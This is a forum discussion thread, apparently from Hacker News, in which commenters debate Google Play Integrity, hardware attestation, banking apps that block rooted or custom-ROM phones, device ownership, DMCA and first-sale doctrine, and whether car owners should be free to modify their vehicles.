> banks and other "regulated" sectors use Google Play Protect and similar DRMs to prevent you from connecting from whatever device you want.
This totally sucks but is there anything preventing you from using your bank's website in-browser in your phone, other than the terrible UI, tiny text, and inability to select the correct checkbox?
Yes. The 2FA via either biometrics or some other means requires us to have the bank's own app - even in small local branches - where said app is only available through one of the app stores.
It seems most banking apps do work: https://privsec.dev/posts/android/banking-applications-compa...
Tizen already exists...where phone OS' fall down is that ALL of the cellular modems are extremely patent encumbered (althogh Hauwei has a large portion of the 5G ones) and there doesn't exist an open specification let alone open implementation of their interfaces.
Problem is 99.99% of the population probably doesn't care (or even know about the issue). Companies respond to the market. If there is no demand or pressure for something more open, they won't make it.
Other than depositing checks, I've always thought that phone bank apps are overrated. Banking is too serious for a phone- I'd rather do it on a real computer. I could fairly easily give up banking apps entirely.
In my case, the website is equal or superior to the app in every aspect except one: you cannot deposit scanned paper checks via the website, only via the app.
Web channel traffic is typically a tiny fraction of mobile traffic for banks. In some banks its like single digit share.
It doesn't even matter if it's foreign or not, it's a matter of who owns the thing: you buy a smartphone or you buy a service that allows you some use of said smartphone? Fuck services.
There will never be a third large OS unless Google Play Integrity is legislated out of existence. And it looks like governments like Google Play Integrity so that won't happen
I wish Firefox OS had succeeded, my first ever app was for it, it was all so much simpler and so much more free than the locked down systems of both major mobile OSes.
> the provider owning the device, not the user
That's been the case since they got rid of removable batteries. You don't own a device you can't reliably turn off.
What's even the point of all the bullshit with Google play protect if in the end I can access my bank from a web browser. That stupidity is protecting no one
> in the end I can access my bank from a web browser.
If your bank allows you to access all features from a browser, consider yourself lucky. Mine requires the app to authorize any online transaction.
Here in Poland most banks are usable via web browser + SMS for auth.
That's already pretty rare internationally and the odds of it still being the case in five years are zero.
I would argue that SMS is horribly insecure and should never be used for authentication.
https://workos.com/blog/why-sms-mfa-is-insecure
Poland also has the most competitive banking system in the entire Western sphere of influence. You can't compare it to the extremely oligarchic banking system in the United States.
> access my bank from a web browser
Unless you get SMS or some normal TOTP app as 2FA, using the web page usually requires the bank's proprietary app to authorize. So you circle back to the the same issue.
this should be banned…
My bank doesn't allow me to deposit checks digitally without the stupid app. Almost everything else is available on the website.
LineageOS still exists.
Not merely a foreign third party: one operating fairly cozily within a country with a hostile and erratic government.
If Trump ordered Google, tomorrow, to put some egregious measure in place in Android (or Chrome, or Google Search), I, personally, would not want to bet that they would refuse him. And frankly, I don't know that I can even imagine the kinds of things he might try to get them to do.
We absolutely need better competition in smartphone OSes—we need it across the board in tech, really, from a wide array of countries.
These control freaks will not control me. Banking on GrapheneOS? The web app works fine.
More and more people are starting to see how you really own nothing anymore.
Every day we stray farther from the premise that we should be allowed to install / modify software on the computers we own.
Will once again re-up the concept of a “right to root access”, to prevent big corps from pulling this bs over and over again: https://medhir.com/blog/right-to-root-access
In the meantime, corporate is thinking about locking browsers down. Remember this? https://chromestatus.com/feature/5796524191121408
They’ll try again, with big business and governments cheering on them.
> They’ll try again, with big business and governments cheering on them.
No doubt. They only have to win once. We have to keep defending our own freedoms against non-stop assault until the end of time.
I'm so tired and disillusioned.
> We have to keep defending our own freedoms
As always.
> I'm so
Shake it off, because, see point 1, the struggle is the same as it has been even decades ago. Nothing has changed: we fight for it. Only the battles have changed, not the war.
I'm not the person you replied to, but I am in their shoes. I'm tired, too. Trust me, I used to champion your sentiment, keep fighting/keep moving and all that jazz, but...at my age, this War of Attrition that is the fight for user data rights and privacy has gone on so long, against a foe that has a much large reach and seemingly infinite resources.
Many of us are not only exhausted, but exasperated at the fact that the good majority of the consumer market continues to give permission to the very activities we are all supposed to be denying. In the end, we vote with our dollars, so we, the vocal minority can be as loud as we want but if the majority continues to buy, use and comply with the product, it's really just a lot of yelling for no reason, isn't it? That's how it feels, anyway.
I know, I know; can't start a fire without a spark. But I've been at it for two decades, since the first smartphone dropped, something I resist adopting for nearly a decade. I'm seeing my kid's generation growing up in this world, condition by it from the start despite our best efforts and they simply don't seem to care. From where I'm standing, I feel old, brittle and tired from all this, but there's nobody to pass the torch to.
So understand that when one of us comments "I'm so tired and disillusioned," we do so after years of resisting, and those words are not uttered lightly.
> So understand that when one of us comments "I'm so tired and disillusioned," we do so after years of resisting, and those words are not uttered lightly.
My great-grandfather fled France with his family during the second world war. My grandfather fought in the second world war - essentially after he got to Canada, he enlisted and headed back to fight against fascism. He eventually came back to Canada because the rest of his surviving family was here.
I get tired of fighting for privacy, and standing up for users, and pushing back against some of the most egregious abuses of tech companies, including the tech companies I work for. When I think that it's not worth fighting, or I think that I could probably get a promotion and way more money if I just suck it up and start building ad-tech or surveillance tech, I think about how disappointed my grandfather would be with my decision.
Stoicism isn't the shitty memes that folks post online re-enforcing toxic masculinity, it's getting up in the morning after taking a break from the good fight, and continuing to push back despite being tired. Understand that when you wake up in the morning, or feel the need to comment "I'm so tired and disillusioned", remember that there are many, many other people tired and disillusioned along side you or OP continuing the fight. Take a break if you need to, and come back to keep fighting.
They have trillions of dollars to burn. They have expensive lobbyists which they use to essentially buy laws. Governments want them to succeed because they also want to control people's computers.
It's just a matter of time until we lose everything. It's not really a struggle. Look at what just happened. We made sacrifices for years by using Android because it was open and Google just rendered it all moot by introducing hardware remote attestation to discriminate against anyone who's actually enjoying that openness. What's the point?
"What's the point?"
Right, it's very disheartening when the large majority of smartphone users couldn't give a damn about such matters. As I mentioned elsewhere, the problem has been made much worse by the fact that most smartphone users are addicted to electronic heroin—apps provided by Google, Facebook, et al.
There's no other way of describing the situation other than it's an unmitigated disaster. Tragically, Big Tech hit on a formula that has billions of users glued to their phones many to the point of obsession—it's absurd, nothing like this has ever happened on such a grand scale in all of human history.
When people like us try to fix the problem we're confronted on all sides—we not only have to deal with a money-rich and very hostile Big Tech and also with governments who want to only deal with it (for reasons I mentioned earlier) but also with a large percentage of the world's population who would feel threatened and annoyed at even the mere mention of changes to their phones' ecosystem.
When the enemy goes to the extent of effectively 'parasitizing' those with whom we are trying to help and protect into a zombie-like state of inaction then we've little hope of changing things for the better.
It's all very depressing.
One approach, not ideal by a long shot but one of the easiest, is to only use old devices and old OSes. Things that have been cracked and/or are easy to root.
"But it's not secure!" -- yeah, that really is the point.
> only use old devices and old OSes. Things that have been cracked and/or are easy to root.
> "But it's not secure!" -- yeah, that really is the point.
Well, no.
The point isn't just to rail against impositions from someone else wanting what they see as essential for their security, but also to keep things secure and⁰ free¹ for you, the user.
Holding your devices back constrains both your security and your freedom rather than helping you in either manner. Security because you will be missing important updates in that regard, and freedom because your device won't be able to negotiate connections with external services² that you want to use³.
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[0] And where these two conflict, you should be free to chose your threat model and therefore which compromises to make, except where that could negatively affect others.
[1] The freedom of reasonable action form of free, not monetarily free etc.
[2] We hit this a short while ago with some legacy code+infra using SOCKS via OpenSSH to make unauthenticated HTTPS calls from source addresses we can't fix (authentication is done with SSH, control is by the other end having the fixed address of the SOCKS host in the whitelist) - upgrading the VM running the SOCKS proxy upgraded OpenSSH which deprecated a number of encryption and negotiation options, the old client library used didn't support enough new ones to be able to negotiate a link, newer versions required a later .Net version that is supported inside SSIS, so we had to rearrange how those calls were made (obviously the long term fix is to kill all that legacy SSIS stuff, all SSIS stuff including the people that made it, with fire). The same will happen with parts of what you use your device for, if you keep it back in the way you are suggesting.
[3] Banking facilities being a key area that you'll likely hit problems with first, after that other online commerce flows, and so forth.
I've been largely doing this for other reasons.
It is not a good long term solution, however, because older phones do not support newer versions of the operating systems and gradually you'll notice that fewer and fewer applications work on your phone, because they require a newer operating system.
Utterly pointless. We'll be systematically discriminated against at every turn. We'll lose access to finances, services, communities and even simple sites because our computers aren't corporate owned. We'll become so marginalized we'll only be able to visit places like HN, places that at least try to pay some lip service to everything the word "hacker" stands for.
And then they will make it so our devices need to pass hardware remote attestation to connect to the internet and even that will be taken away from us.
I don't know what to do anymore. The future is bleak. The free computing we love is being destroyed by forces outside our control, forces that cannot be stopped no matter what we do because they have trillions of dollars and their interests are aligned with those of governments the world over.
Get in to woodworking and ham radio I guess
They may try that, sure, but 1/ it will take some time, during which we can still enjoy some amount of freedom and 2/ they may not succeed everywhere, or all of the time.
I've been using an old OS as my daily driver for five years now[1]. You absolutely can do it, but it's a lot of work!
1: https://mavericksforever.com/
This is not enough. Things like banking apps are virtually necessary for many people's daily lives, yet they often require a non-rooted phone with Google Play Services spyware installed at the OS level, or they will simply refuse to open. Never mind the fact that we're so into late capitalist consumerism that it's routine to deprecate support for 2 year old OSes.
This needs law/regulation forcing the duopoly to open up, unfortunately even in the EU we're moving in the opposite direction.
Not just forcing the app store duopoly to open up, forcing banks to open up and prohibiting these kinds of restrictions that are based on "we insist that you trust some large corporation that we also trust".
Exactly. I'm literally penalized because I have control of my own device (which somehow isn't an issue with the much more "insecure", root-wise, browser on a linux desktop)
> which somehow isn't an issue
now. In general it certainly is; web interfaces will be phased out unless web browsers gain client attestation capabilities (at which point it's game over for the open web).
E.g. Revolut never had a web interface and is doing just fine.
And the sentiment that I own the things I've bought and paid for and should be able to do what I want with it. That a company shouldn't be able to come in and take away features, that I purchased with the device, away from me for absolutely any reason.
I can't go to Google HQ and reinstall their locks because I think their locks are insecure, and I certainly can't declare myself the arbiter of who should be allowed to open their locks. I'd be charged and put in jail. But they can do the digital equivalent to my device and that's valid business.
> Things like banking apps are virtually necessary for many people's daily lives
I disagree. I think most people could do just fine without them. Some might need to buy a desktop computer or even visit their bank's website using a browser on their phone, but humanity got along just fine without cell phone banking apps for a very long time. Many of the old options still exist for a lot of common banking activities. Options like calling your bank on the phone, using an ATM, or going to a branch in person. If your bank really doesn't allow you to do anything with your money without a cell phone app I'd say finding a new bank is justified. Better yet, try to find a credit union.
Banking apps are convenient, but it's getting to the point where the inconvenience of being abused by the OS outweighs the convenience of a banking app which is probably collecting (and selling/exploiting) data they couldn't get from a visit to their website anyway.
> or even visit their bank's website using a browser
when desktop browsers are considered less trustworthy to the bank than mobile apps (this is approximately now) they'll invert the functionality and limitations surface so mobile will have more authorizations than desktop browser (this is also happening now).
client attestation is a fundamental transfer of freedom from the client to the server. it's nice in theory (I too want my money safe), but at the very least it needs a third party with different incentives, not the OS, hardware and browser vendor.
Yes, you already need the app to accept flagged transactions (that the bank didn't deny outright) for my Bank, no way to do that in a Browser.
> Banking apps are convenient
The only need I have for banking apps is created by banks themselves, to verify online payments. But it would work just fine with regular text messages. I don't need a banking app at all.
(And maybe verifications aren't needed either, since in the 40+ years I have been using a credit card, never once have I been asked to verify something that I didn't initiate myself.)
In many regions specific apps are needed for reliable identity verification.
Just because you don’t care about banking apps doesn’t mean I don’t. You might churn your own butter, but that doesn’t mean I don’t need to be able to pick it up from the grocery store. Our lives are different from our parents, whose lives are different than theirs. The answer isn’t “just go back 20 years and live like we used to”. The answer is to life in the modern world and still have our basic freedoms.
> routine to deprecate support for 2 year old OSes
> unfortunately even in the EU
("Save the planet".)
This is not going to be successful once they demand strong authentication of clients on the server side - the banking apps already do this, you can't have your phone rooted or compromised.
Wait until the authorities will require strong client side authentication for social media sites, news sites, and everywhere user generated content is accepted, tied to official ID issued by the government
To be honest I don't see an easy path to escaping the walled garden in our interactions with big companies and governments (banking, traveling, mainstream social networks, etc.).
But at least we can build alternatives for interpersonal communication and other uses independent from big companies, like the late 90s-early 2000s Internet, and access that with free devices.
> But at least we can build alternatives for interpersonal communication and other uses independent from big companies
We mostly can't. The most we can do is grow new big companies.
The internet was carefully reorganized so that it's impossible to do anything without money moving around.
Chat control will make this illegal.
If you want the whole commerce in the EU collapse and the CEO's wanting to really hurt and then kill Ursula von del Leyen and the associated lobbies, yeah sure. Let them suicide.
CEOs don't seem too bothered about security or the ability to use custom ROMs
Maybe that would be a good thing. Don't get hooked on social media or news that survive on outrage and echochamers, just... enjoy life.
I maintain a software to aid in installation of Windows 7 to new PCs (FlashBoot Pro): https://www.prime-expert.com/flashboot/ . Recently there was a reduction in sales. You are welcome.
> We have to keep defending our own freedoms against non-stop assault until the end of time
That's the human condition. The price of liberty.
However, there are easier ways and harder ways to do it. The key concept to think about is sovereignty. What do you own? What do you control that depends on as few externalities as possible?
The big shift people are going to have to start thinking about is abandoning the network, because the enemies of freedom are increasingly locking it down.
- I own PC hardware that runs Linux. I own a copy of Linux which runs entirely offline. To the extent I get updates to it, they are licensed and distributed in such a manner that it's very hard for the bad guys to mess with them, as Microsoft does with Windows 11.
- I own copies of many media, books, music, movies, TV series, games, these reside as non-DRM'ed bits on my SSD that do not phone home, they don't need the network. I have local copies of software that does not require the network to play them. I have physical copies of these things in some cases.
This is not to say that I never use Netflix, Youtube, Spotify, Steam etc. but I keep them at arm's length and cut back on my usage of them at every opportunity. They are all network tools owned by our enemies, and need to be treated as such.
There really isn't shit they can do to me that would sting, short of cut off the electricity. In the event that the Internet purveyors of slop go Full Evil, and they probably will, I am well equipped.
Now of course the topic of sovereignty is far far bigger than consuming media, and we could get into things like desktop applications or where you interact with your friends as well. But the principles are the same. Go offline.
Yep, there are times when I feel like it is best just to let them win to the point it completely break the bottom of the bucket. Rather than a slow creep, a sudden lurch so that everyone can see it.
Freedom is a constant struggle
Y'know what's troubling to me, freedom as a struggle is indirectly related to other people/ social-political issue.
Like, the people if they decide, they want freedom, are almost guaranteed to get it. But nobody demands it in the truest sense and it feels like the govt. isn't controlled by the people but rather almost by lobbying and that social media etc. have made people complacent in the sense that either we think that others will fight for us or that social media has become a propaganda machine.
I almost broke last night realizing that nuclear can be completely green energy but it isn't the issue of technology but rather political. To me, it felt like a lot of really quality of life changes (like water access, clean cities, good air quality index, atleast where I live) are all almost political issues at this point.
But I am not hopeful towards people, I am hopeful towards tech though. It feels like people have free will, so they might actually pick a net negative option for everybody (trump?), so I am not an optimist because I feel like I have to trust people in the process and I feel like people can do both good and bad, so I wonder how much better our lives have been compared to our ancestors. Maybe trade-offs?
I genuinely felt so weird realizing this, its hard to explain. Like it felt like I can do nothing but watch. And to me I feel like I am being a pessimistic because a lot of people in power feel stupid/inefficient man.
We just don't have a choice. WE have a choice b/w 2 parties and call it freedom.
Of course, freedom will be a constant struggle. People have made it as such. Its on all of us, we all need to take accountability. I get it, accountability is hard, but its much better than waiting for a hero to save us all. We can do it if we realize this.
> To me, it felt like a lot of really quality of life changes (like water access, clean cities, good air quality index, atleast where I live) are all almost political issues at this point.
This is why I struggle when discussing anything on this website - these were always political issues. Everything that touches the way society functions is a political issue. Tech is just a vehicle of political agenda. Freedom is purely political notion, this is why different traditions have different concepts of it. And to obtain it, as well as other things, you need political action. Yet, most HN users, at least that is my impression, tend to think that it is about creating yet another software project or founding startup.
And this is why corpos and government are winning.
> Yet, most HN users, at least that is my impression, tend to think that it is about creating yet another software project or founding startup.
I don't think that a startup is sufficient, but it can be an important step in the right direction. I came to my bank, showed them my Librem 5 phone and asked where I can download an app for it. It was a much clearer message than "but Android isn't free!" (which is of course true). I do the same with governmental services.
Well, political action is hard to bring and you would need an average citizen to weigh his vote into action and not just use his vote for his own biases and as I also said, its really depressing when we think of this to be as a reality and I myself, would like to hide or somehow "prove" that this isn't the case if that makes sense. So no wonder the majority of us techie/hn users feel this way, you aren't wrong for the impression, I also feel like that's true atleast in my opinion being in this community and there is nothing wrong with that but the reality is kinda bitter.
Government in EU will want it once they introduce the Chat Control legislation and observe that it is trivial to circumvent by either modifying clients to not scan or using free open source alternatives. Logical next step is to lock down all devices and thereby also ensure total and utter surrender of all our digital infrastructure to the current duopoly in the mobile device market (Apple and Google).
So, people who need can always use linux and can even just compile everything from source.
How will you install Linux when all the hardware manufacturers are forced to enforce Secure Boot? All for security, of course.
They can't force the entire world to use Windows, its a national security risk for countries other than USA.
Each country would need a locally maintained OS they can force on people
They are effectively forcing official Android on all smartphones in most countries with digital ID apps using Play Integrity. More and more people are using smartphones as their main computation device now.
Well that is true sadly but desktops and servers are still a different subject
For now. They have a legacy of openness that will take a while to squash for sure. But they're experts at this kinda maneuver.
A lot of Linux distros work fine with secure boot
They all works fine because Microsoft allows distros to sign their keys. We are a single bad law or a change of corporate politics away from them not doing that and deleting Linux out of existence on personal computers.
Now, maybe you’ll still be allowed to if you have a special license from the government to purchase approved hardware to run it in a datacenter. Which can be promptly revoked if you were found to be running illegal VPN software or something like that.
You can self-sign keys. Secure Boot has had a mechanism for that already for years (mok on Linux).
They can, but if service providers start requiring client attestation, it won't help at all.
This isn't a technical problem. It's a political problem. We should be fighting this with our wallets, votes, voices and influence, not technology. Politicians and industrialists should be informed in no uncertain terms that the enaction such draconian measures will result in significant hits to their ambitions.
The only problem is that it's a tiny minority of us which can even grasp the concept of having root access on your owned computer. The majority believe the Apple (and now Google) narrative that "only the manufacturer can keep them safe" and why would they themselves ever have an opinion on the specific code running on their computer?
Weirdly, the answer is politics again. It's up to the experts who can foresee the problem to inform the general public. Lawyers must inform the public about the hidden harms in a new bill. Doctors must inform the public about the implications of health policy decisions. Likewise, it's up to us to inform the public about the misconceptions you mentioned and their impact. Who else is there to speak in their interests? The fact of the matter is, there is no escaping from politics. No matter what line of profession you choose.
We have a duty to explain to our fellow citizens that freedom is worth having.
Not when vendors you count on require you to use a provably locked down version and when the government makes it a crime to circumvent. At first u It'll be the banks who are pushing for it now, but why not Amazon and Netflix abd everyone else eventually?
And you can do that, but your bank and all government services will use Web Environment Integrity API to refuse to service you unless you are using a Google-approved flavor of Linux (e.g. ChromeOS) or Windows.
Can I tweak it? Can I simulate a NN autocomplete?
"Government in EU [which is a very marginal part of the production of electronic devices, wants to implement a "Digital Euro" that requires relying] all our digital infrastructure to the current duopoly in the mobile device market (Apple and Google)[, completely external yet planned crucial part of the forthcoming monetary system]."
<think> They do not sound pretty sound to me. </think>
--
Edit: speak up, snipers (we are in front of a freefall and you play the fool)... I think it is rational in the discourse to show that in malice or stupidity there is a relevant upper level that shows a more radical condition.
The EU is posing towards reliance of «all our digital infrastructure to the current duopoly in the mobile device market (Apple and Google)», which is controlled by third parties.
The question really isn't whether we should be able to modify computers we own, its whether we own them at all.
The question of how private property, intellectual property and posession/ownership should work is indeed something humanity hasn't properly figured out yet.
But if anything, regular people should have more of the cake.
We have! The only problem is a very limited amount of legal decisions accidentally paved the way for a massive dystopia. In particular, the first sale doctrine [1] solves everything immediately.
The courts assumed good faith with a licensing exception, and maybe it was. But that opened the door to essentially completely dismantle the first-sale doctrine. Get rid of that loophole and all this stupidity ends, immediately. Well that and the DMCA. Once you buy something, it's yours to do whatever you want to do with it short of replicating it for commercial benefit.
[1] - https://en.wikipedia.org/wiki/First-sale_doctrine
We also need regulation to prevent unbreakable hardware locks. Integrating the locks deep into VLSI makes removing them unrealistic.
As a more specific way to do this, I'd like to see any software that hardware companies make for their own hardware designated (at the choice of the company) as either part of the hardware or a separate product. In the former case, it must be made available under GPLv3 with full anti-tivoization provisions. In the latter case, it must use only public and documented interfaces and must be completely realistic for another company to make a competing product on a level playing field. Ideally the separate products would also need to be highly cross platform if technically feasible where the burden of showing that it isn't is on the developer.
I'm not sure if we need regulations preventing it as much as we need regulations that manufacturers have to make it clear before buying the product.
Informed consent goes a long way.
Most users don't understand the higher order effects of lack of ownership, if they care at all when it doesn't impact convenience in an obvious way. This information already exists before purchase, but it doesn't move sales among the masses where the money is made. The result is zero viable ownership respecting products for those of us who care: all modern CPUs have IME or equivalent, all modern cars are infested with proprietary spyware, all phones at reasonable prices¹ don't fully embrace user ownership in various ways. This also has higher order effects that affect everyone, such as car insurance having an involuntary data mine on anyone who drives a modern car.
1: the exception that I'm thinking of here is fair phone, and it isn't much of an exception.
I just don't see a problem with customers ignoring or not caring about the details as long as its clear. If a car manufacturer makes clear, for example, that you aren't allowed to work on the car you are buying yourself and the person still buys it that's their choice.
A practical one is that many industries have extreme barriers to entry and are dominated by a small number of players, with minimal chance of an upstart competitor showing up.
And if it so happens that engaging in some sort of anti-customer behavior is profitable, then it's entirely viable that all major players adopt it, even if they don't necessarily overtly collude.
The problem is that if 95% of people don't care and do this then the 5% who do care are completely fucked and can't work on their cars. This is because no manufacturer will make more money selling to the 5% who care.
Well I'm in that 5%, and I own older cars mainly so I can still work on them myself.
My argument was that manufacturers should have to be clear up front with what they're selling. If 95% of the population doesn't care, and that means the market for maintainable cars isn't viable, why should I impose my will on everyone else? I'd like to buy a new car and be able to work on it but no company should be obligated to serve that desire.
You're being illogical. You'd only be 'imposing your will' on people if somebody preferred it being impossible to work on their car, which is obviously absurd. It's outright anti-customer behavior with no benefit to the customer whatsoever. It's akin to arguing that e.g. price fixing should be legal so long as a business informs the customer that prices are being rigged against them.
You might be right. We're seeing a paradox of more and more exclusive ownership of property for commercial interests (land, water, airwaves, orbits) and fewer and fewer exclusive ownership for individuals (rented homes, licensed software, subscriptions etc). I too think we're still in a transition stage and humanity has yet to figure this thing out.
It's actually what Marx was warning about - private property ending in the hands of the few as an endgame of capitalism.
Was Marx really warning us? I always read that as him describing his strategy to take down capitalism.
I.e. a warning would be if he didn't want it to happen, but my understanding is that he very much did.
Well, I think it was both. He saw the problem (of capital accumulation in capitalism), and predicted a failure of it (due to people wisening up and taking action to fix the problem). Of course he wanted corrective action to happen - he didn't want people to suffer.
And the people did rise up and successfully tried to fix the problem - there was a big socialdemocratic movement that culminated between the world wars.
What he underestimated was the ingenuity with which the capitalism reinvents itself (and creates new forms of private property to gobble up - free computing in RMS's sense just one example). He also overestimated ability of most people to understand the problem (it's lot more lack of emotional rather than intellectual capacity). I would say alienation is central to Marx, unfortunately alienated people can be so indoctrinated to fail to consider the alternatives. Most people seem to prefer to suffer through hardship rather than demand an alternative solution.
> Of course he wanted corrective action to happen - he didn't want people to suffer
That's interesting, this is a pretty generous representation of him in my opinion. Its been a while since I read some of his writings and went down the rabbit hole listening to long form interviews of historians that studied him though, my memory could he failing me!
My understanding what that Marx envisioned a future utopia and saw two revolutions, both presumably violent, as necessary to get to the end goal. At best I could see him being indifferent to the suffering and deaths required in his model, but I never got the feeling that he would regret or would want to avoid the suffering. If I'm not mistaken, one of the revolutions he expected and wanted to see happen would have leaned heavily on the poor and working class turning on the rich and powerful to the point of killing most or all of them.
Again, I hope my representation is accurate here. I don't have time to dig back in to fact check this right now, just sharing my recollection.
Can you be more specific where Marx advocates for a violent revolution in his writings? I don't think word "revolution" (or even his usage of "dictatorship of proletariat") by itself implies violence (cf. "scientific revolution").
But I think there are people who consider forceful redistribution of ownership to be violence, even if no human is actually physically harmed in the process. I don't and I think there is a distinction to be made.
Edit: Nevermind, there's a lot of interesting debate about this on the Internet.
It's not we haven't figured it out. It is that gov and corp prefer to be shepherds and we are OK to be sheep. We figured it out a long time ago.
The solution certainly won't be through legislative or judicative powers as they have failed predictably and repeatedly. Sometimes reality must be molded a bit of fait accompli.
What are you proposing if not legislative or judicial means?
Those are the only checks of power on the executive built into our system. Are you expecting we would have to throw out our political system all together, get rid of the top by force, and start over?
No - private property is clear.
The question that hasn't fully been worked is how to allow people to think/feel they own something, while having no actual legal rights to it. But, as we see, this is being worked on.
Record companies figured that one out a long time ago.
Throwing your hat in the political ring?
And the answer is we don't. If we can't run our own software, then we do not own the computer. To run software of our choosing we need the cryptographic keys to the machine and we sure as hell don't own those keys.
regardless of what the corporations say we do own the devices we purchase.
Not always. There have been car manufacturers that sold vehicles with features only enabled by a subscription. You may buy a car with heated seats, but the heated seats only work if the manufacturer enables them.
And there should be no law against enabling the heated seats in the car you own without interacting with the manufacturer.
Too bad there is one.
https://en.wikipedia.org/wiki/Digital_Millennium_Copyright_A...
Laws can be interpreted in such a way that invites robber barons to pound sand, or repealed.
Considering the same law is used to strike a 3 hour GPU documentary over a ~30 second clip, I think it serves to corporate pretty well.
GamersNexus' 3 hour documentary about GPU smuggling (which is way more than a vlog as HN commenters like to portray) is struck down by Bloomberg because they didn't want their 30 second clip, which is squarely fair use BTW, of POTUS speaking to be in that. GamersNexus repealed successfully, but Bloomberg tried to bully them [0].
[0]: https://www.youtube.com/watch?v=tUnRWh4xOCY
I don't understand why people think this is something corporations desperately want. It's something they'll abuse if you leave it sitting around for that, but that's just the argument for getting rid of it. How does the ability to be a petulant grouch benefit them? It has negligible monetary value and causes PR damage. It's a footgun that nobody needs and only fools want.
And if they're actually the cartoon villains it would imply, rather than just banal petty autocrats carelessly fooling around with a toy they deserve to have taken away from them, then we should maybe less be saying "it makes sense that they would want it this way" and more be sticking their heads in a guillotine so we can show the children the proper way to resolve a dispute with a tyrant.
In neither case should a law like that remain on the books.
Looks like it's complicated. The video has some theories.
- Bloomberg has a similar investigation which is deeply undercut by GamersNexus video. GN seen the labs, Bloomberg got their access revoked, so theirs is an empty video, and they want the views.
- The video holds no punches back about anyone, and Bloomberg has an NVIDIA sponsored section dedicated to them.
- There's no other source which recorded POTUS' words, and maybe they don't want these words to be widely available, video argues.
- Lastly, they wanted a licensing fee for that 30 seconds to leave their videos alone.
So, when you're a beancounting billionaire corporation, you can have the reasons to go after a bearded guy who manages to do a better job and make you look bad.
Because, monies.
That's precisely the "petty autocrats carelessly abusing a footgun" scenario. They've made themselves look bad for negligible benefit while harming innocent people. It's the argument for taking it away from them.
The heated seat is an edge case, but there is also the entirely valid argument that you shouldn't be able to arbitrarily modify your car (e.g. replace the breaks with some home-grown solution), as it can put yourself and others in danger, and I see no evil in that being enforced by the government. A more IT-related example might be what radio frequencies can we use - if anyone could spam the whole spectrum, we would lose more than from the "freedom" of being able to do that.
So it's actually far from trivial to draw a line.
You are permitted to change whatever you like on your car, subject to a roadworthiness inspection by the relevant transit authority.
Cargo van -> Camper van conversions go through this all the time - you add/remove seats, add a lot of weight in the form of beds, water tanks, etc. add/remove windows, put solar panels on the roof... After those changes you have to take it down to the vehicle inspection, and they tell you whether or not your changes have been deemed acceptable to drive on public roads.
> there is also the entirely valid argument that you shouldn't be able to arbitrarily modify your car
In at least two european countries that I know of (but probably in all of them) cars need to pass periodic technical inspection to be allowed on the road. Breaks are tested, among other things.
On top of that, you totally can modify your car (even the brakes) provided that you use some certified part that's good enough for your type of car. And you should pass the inspection that tests everything.
I understand that GP point was about home-made brakes (like the software counterpart), but software on a smartphone is not (yet) deadly for others if it doesn't work as expected.
Technical inspections are mandatory across the board in all of the European Union, although the rules (such as the interval between inspections), may differ between countries. The minimum is every two years, some countries do yearly. This is actually governed by a European mandate.
In much of the EU you are also required to request an additional technical inspection if you have made major changes to the car - for example, I had to take mine in when I had a tow hitch installed, and a friend had to take their camper in when they installed an additional seat.
> replace the br[ake]s with some home-grown solution
Funny you mention the brakes, because a friend of mine told me just days ago that he used to change his own brakes consumables (pads) until the new car, which "throws an error" if you replace the part - you have to go to an official service office for the computer configuration.
Now, do not forget that the need for the intervention of third parties lowers the car reliability ("far away", "too expensive", "device too old", "operation failure", "inexperienced operator" etc.).
This should show that your argument has difficult sides. Of course you should be able to act on your critical possessions. It should be within a good framework, but it should be fully, practically possible.
John Deere tractors have been terrible about this for years now. Not just for brakes, effectively any problem with the tractor requires specific software to diagnose and the tractor electronics are designed to keep the tractor immobilized until a Deere technician plugs the right software in and then repairs whatever broke in the first place.
Vanishingly few people want to crash their car due to sub-par breaks. If someone is malicious, the physical access to the car is going to be enough to not stop them and murder is already illegal. So, is this a real issue? If it is, is regulating this the most effective choice for what to regulate to increase safety or are other things more hazardous? Removing freedom and creating mandatory bureaucracy shouldn't be done over imaginary issues.
It's trivially easy to draw the line. If it's to be illegal to make some modification to your car then that law is to be enforced by the government rather than the manufacturer.
> but there is also the entirely valid argument that you shouldn't be able to arbitrarily modify your car (e.g. replace the breaks with some home-grown solution), as it can put yourself and others in danger,
That is a nonsensical argument.
"You shouldn't be able to put anyone else in danger" - agreed.
"You shouldn't be able to modify your car" - wtf does that have to do with danger?
"Modifying brakes (not breaks)" is not the same thing as "Putting people in danger". Sometimes we modify them to have better braking than the standard.
What countries actually do is test the end-result, i.e. Does the car conform to the legally mandated required braking performance?
Rather than campaign to stop people from owning property anymore, maybe just enforce the existing laws (which, as far as I know, are enforced already anyway).
This campaign to divide people into an owning class and a servile class is pretty damn repugnant, and "Because someone can be harmed if we allow people to own things" is just the new "But think of the children" nonsense.
I just tried to come up with a feasible example - maybe gas pipe installation would have been a better one?
But even for cars, it's quite clear that a modify-test cycle there is on the order of months/years (also, has a money burden that probably the owner has to pay). But this would 100% fail to scale to IT - like should I go to the government on each commit? Do I get a signature from them for releases?
> I just tried to come up with a feasible example - maybe gas pipe installation would have been a better one?
The problem is any feasible example you come up with are already regulated, for the same reason you came up with it - there's danger to others!
Where I am, gas pipes, even inside your own house, can only be legally installed and maintained by a certified technician. You also have to get an annual clearance certificate done.
Just about everything dangerous is already regulated; further restrictions "just in case" are not warranted.
It should be up to the individual to decide whether they want to modify their car.
Say you put aftermarket brakes on your car and they fail, causing an accident that harms someone else. The person who changed their brakes should be held liable legally, its as simple as that. Owners that choose to change their car and do a piss poor job of it are held accountable for their actions and others considering similar modifications can choose to learn the lesson.
Yes that means people could be harmed in the process, but regulations themselves harm people too. There's no way around the fact that one way or another people may get harmed during their lifetime. In the long run regulations just guarantee that, should the wrong people take power, the regulations and authority that originally allowed regulations will be abused.
I'm actually surprised I haven't seen more push back on government authority given everything Trump is either doing or claiming he will do. The president should be largely an anemic office acting more as a figurehead than anything else. We've given them the power to effectively legislate with no oversight, that why he may be able to do so much harm.
This is the same argument people make between Apple and Android.
Can I use an Android phone without using Google? Yes, of course you can. There are plenty of secure OS's like Graphen, Lineage, Calyx and many others. Do people really care enough to use them? Hardly any, which proves my point.
Same thing here. Most people will just pay the fee to get the seats. Some might just opt out and not get them. Others will shop around and find some legacy cars that are older that have them but don't require a subscription.
At the end of the day? There's ALWAYS a choice. How hard do you want to look to avoid the subscription? Is it really worth your time and effort? Some would say yes, the vast majority really DGAF. People have been lulled into not caring about stuff like personal privacy and having a say in what's being peddled to you.
There's always a choice… unless you want to access your bank account that is. In which case there is no choice but to use the official unrooted android OS.
